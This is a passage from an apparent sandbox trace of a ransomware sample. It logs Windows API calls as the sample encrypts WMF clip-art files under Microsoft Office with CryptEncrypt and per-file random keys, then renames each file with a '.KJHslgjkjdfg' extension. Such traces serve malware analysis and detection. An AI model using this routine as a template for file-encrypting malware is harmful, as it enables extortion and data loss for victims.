lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.042] SetEndOfFile (hFile=0x114) returned 1 [0191.044] GetProcessHeap () returned 0x2a0000 [0191.044] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.044] GetProcessHeap () returned 0x2a0000 [0191.044] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.kjhslgjkjdfg")) returned 1 [0191.046] CloseHandle (hObject=0x114) returned 1 [0191.046] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0191.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.048] GetProcessHeap () returned 0x2a0000 [0191.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.048] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.048] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.050] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.050] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.050] GetProcessHeap () returned 0x2a0000 [0191.050] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.050] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.050] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.050] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.050] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.050] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.050] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.051] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa94, lpOverlapped=0x0) returned 1 [0191.051] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaa0, dwBufLen=0xaa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaa0) returned 1 [0191.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.051] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaa0, lpOverlapped=0x0) returned 1 [0191.051] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.051] SetEndOfFile (hFile=0x114) returned 1 [0191.053] GetProcessHeap () returned 0x2a0000 [0191.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.053] GetProcessHeap () returned 0x2a0000 [0191.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.kjhslgjkjdfg")) returned 1 [0191.055] CloseHandle (hObject=0x114) returned 1 [0191.055] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0191.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.056] GetProcessHeap () returned 0x2a0000 [0191.056] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.056] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.056] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.058] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.058] GetProcessHeap () returned 0x2a0000 [0191.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.058] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.058] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.058] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.058] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.059] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.059] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x38c, lpOverlapped=0x0) returned 1 [0191.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390, dwBufLen=0x390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390) returned 1 [0191.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.059] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x390, lpOverlapped=0x0) returned 1 [0191.059] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.059] SetEndOfFile (hFile=0x114) returned 1 [0191.061] GetProcessHeap () returned 0x2a0000 [0191.061] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.061] GetProcessHeap () returned 0x2a0000 [0191.061] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.kjhslgjkjdfg")) returned 1 [0191.063] CloseHandle (hObject=0x114) returned 1 [0191.063] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0191.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.065] GetProcessHeap () returned 0x2a0000 [0191.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.065] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.067] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.067] GetProcessHeap () returned 0x2a0000 [0191.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.067] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.067] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.067] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.067] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.067] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.067] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.067] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x61c, lpOverlapped=0x0) returned 1 [0191.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620) returned 1 [0191.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.068] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x620, lpOverlapped=0x0) returned 1 [0191.068] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.068] SetEndOfFile (hFile=0x114) returned 1 [0191.070] GetProcessHeap () returned 0x2a0000 [0191.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.070] GetProcessHeap () returned 0x2a0000 [0191.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.kjhslgjkjdfg")) returned 1 [0191.071] CloseHandle (hObject=0x114) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0191.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.072] GetProcessHeap () returned 0x2a0000 [0191.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.072] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.073] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.073] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.073] GetProcessHeap () returned 0x2a0000 [0191.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.073] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.073] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.073] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.078] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.078] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.079] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.079] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.079] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.079] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.079] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaf0, lpOverlapped=0x0) returned 1 [0191.079] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0) returned 1 [0191.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.079] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaf0, lpOverlapped=0x0) returned 1 [0191.079] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.079] SetEndOfFile (hFile=0x114) returned 1 [0191.082] GetProcessHeap () returned 0x2a0000 [0191.082] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.082] GetProcessHeap () returned 0x2a0000 [0191.082] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.kjhslgjkjdfg")) returned 1 [0191.084] CloseHandle (hObject=0x114) returned 1 [0191.084] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0191.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 